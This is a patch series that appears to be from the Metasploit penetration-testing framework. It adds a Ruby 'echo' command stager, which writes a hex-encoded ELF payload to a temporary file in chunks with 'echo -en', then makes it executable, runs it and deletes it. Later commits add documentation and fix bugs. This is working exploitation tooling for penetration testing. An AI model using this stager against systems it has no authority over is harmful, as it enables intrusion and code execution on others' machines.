From a5049df320549d40f4060febab9c139d9b9042ad Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 16 Sep 2013 11:35:05 -0500 Subject: [PATCH 1/5] Add echo CmdStager --- lib/msf/core/exploit/cmdstager_echo.rb | 21 +++++ lib/msf/core/exploit/mixins.rb | 1 + lib/rex/exploitation/cmdstager.rb | 1 + lib/rex/exploitation/cmdstager/echo.rb | 116 +++++++++++++++++++++++++ 4 files changed, 139 insertions(+) create mode 100644 lib/msf/core/exploit/cmdstager_echo.rb create mode 100644 lib/rex/exploitation/cmdstager/echo.rb diff --git a/lib/msf/core/exploit/cmdstager_echo.rb b/lib/msf/core/exploit/cmdstager_echo.rb new file mode 100644 index 0000000000..5222db3a98 --- /dev/null +++ b/lib/msf/core/exploit/cmdstager_echo.rb @@ -0,0 +1,21 @@ +# -*- coding: binary -*- + +require 'msf/core/exploit/cmdstager' + +module Msf + +### +# +# This mixin provides an interface for staging cmd to arbitrary payloads +# +### +module Exploit::CmdStagerEcho + + include Msf::Exploit::CmdStager + + def create_stager(exe) + Rex::Exploitation::CmdStagerEcho.new(exe) + end +end + +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 069adb32ed..810f87492e 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -25,6 +25,7 @@ require 'msf/core/exploit/cmdstager_debug_write' require 'msf/core/exploit/cmdstager_debug_asm' require 'msf/core/exploit/cmdstager_tftp' require 'msf/core/exploit/cmdstager_bourne' +require 'msf/core/exploit/cmdstager_echo' # Protocol require 'msf/core/exploit/tcp' diff --git a/lib/rex/exploitation/cmdstager.rb b/lib/rex/exploitation/cmdstager.rb index 958bcb98ef..79609ea14f 100644 --- a/lib/rex/exploitation/cmdstager.rb +++ b/lib/rex/exploitation/cmdstager.rb @@ -6,3 +6,4 @@ require 'rex/exploitation/cmdstager/debug_write' require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/tftp' require 'rex/exploitation/cmdstager/bourne' +require 'rex/exploitation/cmdstager/echo' diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb new file mode 100644 index 0000000000..55583a0084 --- /dev/null +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -0,0 +1,116 @@ +# -*- coding: binary -*- + +require 'rex/text' +require 'rex/arch' +require 'msf/core/framework' + +module Rex +module Exploitation + +class CmdStagerEcho < CmdStagerBase + + def initialize(exe) + super + + @var_elf = Rex::Text.rand_text_alpha(5) + end + + # + # Override to ensure opts[:temp] is a correct *nix path + # + def generate(opts = {}) + opts[:temp] = opts[:temp] || '/tmp/' + opts[:temp].gsub!(/\\/, "/") + opts[:temp].gsub!(/'/, "\\\\'") + opts[:temp].gsub!(/ /, "\\ ") + opts[:temp] << '/' if opts[:temp][-1,1] != '/' + super + end + + # + # Override to set the extra byte count + # + def generate_cmds(opts) + # Set the start/end of the commands here (vs initialize) so we have @tempdir + @cmd_start = "echo -en " + @cmd_end = ">>#{@tempdir}#{@var_elf}" + xtra_len = @cmd_start.length + @cmd_end.length + 1 + opts.merge!({ :extra => xtra_len }) + super + end + + + # + # Encode into a "\\x55\\xAA" hex format that echo understands, where + # interpretation of backslash escapes are enabled + # + def encode_payload(opts) + return Rex::Text.to_hex(@exe, "\\\\x") + end + + + # + # Combine the parts of the encoded file with the stuff that goes + # before ("echo -en ") / after (">>file") it. + # + def parts_to_commands(parts, opts) + cmds = [] + parts.each do |p| + cmd = '' + cmd << @cmd_start + cmd << p + cmd << @cmd_end + cmds << cmd + end + + cmds + end + + # + # Since the binary has been already dropped to fs, just execute and + # delete it + # + def generate_cmds_decoder(opts) + cmds = [] + # Make it all happen + cmds << "chmod +x #{@tempdir}#{@var_elf}" + cmds << "#{@tempdir}#{@var_elf}" + + # Clean up after unless requested not to.. + if (not opts[:nodelete]) + cmds << "rm -f #{@tempdir}#{@var_elf}" + end + + return cmds + end + + # + # Override it to ensure that the hex representation of a byte isn't cut + # + def slice_up_payload(encoded, opts) + tmp = encoded.dup + + parts = [] + xtra_len = opts[:extra] + xtra_len ||= 0 + while (tmp.length > 0) + temp = tmp.slice(0, (opts[:linemax] - xtra_len)) + # cut the end of the part until we reach the start + # of a full byte representation "\\xYZ" + while temp[-5, 3] != "\\\\x" + temp.chop! + end + parts << temp + tmp.slice!(0, temp.length) + end + + parts + end + + def cmd_concat_operator + " ; " + end + +end +end +end From a8198bc948fbbffcefbd2d1fc0dc71db082fd7d9 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 16 Sep 2013 11:55:30 -0500 Subject: [PATCH 2/5] Add documentatio to the mixin --- lib/msf/core/exploit/cmdstager_echo.rb | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/exploit/cmdstager_echo.rb b/lib/msf/core/exploit/cmdstager_echo.rb index 5222db3a98..d6c78b68a6 100644 --- a/lib/msf/core/exploit/cmdstager_echo.rb +++ b/lib/msf/core/exploit/cmdstager_echo.rb @@ -4,15 +4,23 @@ require 'msf/core/exploit/cmdstager' module Msf -### +#### +# Allows for staging cmd to arbitrary payloads through the CmdStagerEcho. # -# This mixin provides an interface for staging cmd to arbitrary payloads -# -### +# This stager uses the echo's "-e" flag, that enable interpretation of +# backslash escapes, to drop an ELF with the payload embedded to disk. +# The "-e" flag is usually available on linux environments. This stager +# has been found useful on restricted linux based embedded devices. +#### + module Exploit::CmdStagerEcho include Msf::Exploit::CmdStager + # Initializes a CmdStagerEcho instance for the supplied payload + # + # @param exe [String] The payload embedded into an ELF + # @return [Rex::Exploitation::CmdStagerEcho] Stager instance def create_stager(exe) Rex::Exploitation::CmdStagerEcho.new(exe) end From edec022957e750325dc8fc37cb0b8e22f032a9e6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 16 Sep 2013 16:35:45 -0500 Subject: [PATCH 3/5] Use shellwords, as recommended by @jvennix-r7 --- lib/rex/exploitation/cmdstager/echo.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 55583a0084..03cdc37ec7 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -3,6 +3,7 @@ require 'rex/text' require 'rex/arch' require 'msf/core/framework' +require 'shellwords' module Rex module Exploitation @@ -21,8 +22,7 @@ class CmdStagerEcho < CmdStagerBase def generate(opts = {}) opts[:temp] = opts[:temp] || '/tmp/' opts[:temp].gsub!(/\\/, "/") - opts[:temp].gsub!(/'/, "\\\\'") - opts[:temp].gsub!(/ /, "\\ ") + opts[:temp] = opts[:temp].shellescape opts[:temp] << '/' if opts[:temp][-1,1] != '/' super end From 217449a83688d08cf1f88f82ac94381135250611 Mon Sep 17 00:00:00 2001 From: Joe Vennix Date: Mon, 16 Sep 2013 20:42:20 -0500 Subject: [PATCH 4/5] Ensures termination of inner while loop and cleans up #map. * Tested working against ubuntu target using the sshexec test script. --- lib/rex/exploitation/cmdstager/echo.rb | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 03cdc37ec7..48d6cc2f41 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -54,16 +54,13 @@ class CmdStagerEcho < CmdStagerBase # before ("echo -en ") / after (">>file") it. # def parts_to_commands(parts, opts) - cmds = [] - parts.each do |p| + parts.map do |p| cmd = '' cmd << @cmd_start cmd << p cmd << @cmd_end - cmds << cmd + cmd end - - cmds end # @@ -97,7 +94,7 @@ class CmdStagerEcho < CmdStagerBase temp = tmp.slice(0, (opts[:linemax] - xtra_len)) # cut the end of the part until we reach the start # of a full byte representation "\\xYZ" - while temp[-5, 3] != "\\\\x" + while temp.length > 0 && temp[-5, 3] != "\\\\x" temp.chop! end parts << temp From dd7010d27286badbb0d9fee9b87dc17d54421a19 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 17 Sep 2013 20:54:19 -0500 Subject: [PATCH 5/5] Fix @todb-r7 feedback --- lib/rex/exploitation/cmdstager/echo.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 48d6cc2f41..8b1c5122a3 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -74,7 +74,7 @@ class CmdStagerEcho < CmdStagerBase cmds << "#{@tempdir}#{@var_elf}" # Clean up after unless requested not to.. - if (not opts[:nodelete]) + unless opts[:nodelete] cmds << "rm -f #{@tempdir}#{@var_elf}" end @@ -85,20 +85,20 @@ class CmdStagerEcho < CmdStagerBase # Override it to ensure that the hex representation of a byte isn't cut # def slice_up_payload(encoded, opts) - tmp = encoded.dup + encoded_dup = encoded.dup parts = [] xtra_len = opts[:extra] xtra_len ||= 0 - while (tmp.length > 0) - temp = tmp.slice(0, (opts[:linemax] - xtra_len)) + while (encoded_dup.length > 0) + temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len)) # cut the end of the part until we reach the start # of a full byte representation "\\xYZ" - while temp.length > 0 && temp[-5, 3] != "\\\\x" + while (temp.length > 0 && temp[-5, 3] != "\\\\x") temp.chop! end parts << temp - tmp.slice!(0, temp.length) + encoded_dup.slice!(0, temp.length) end parts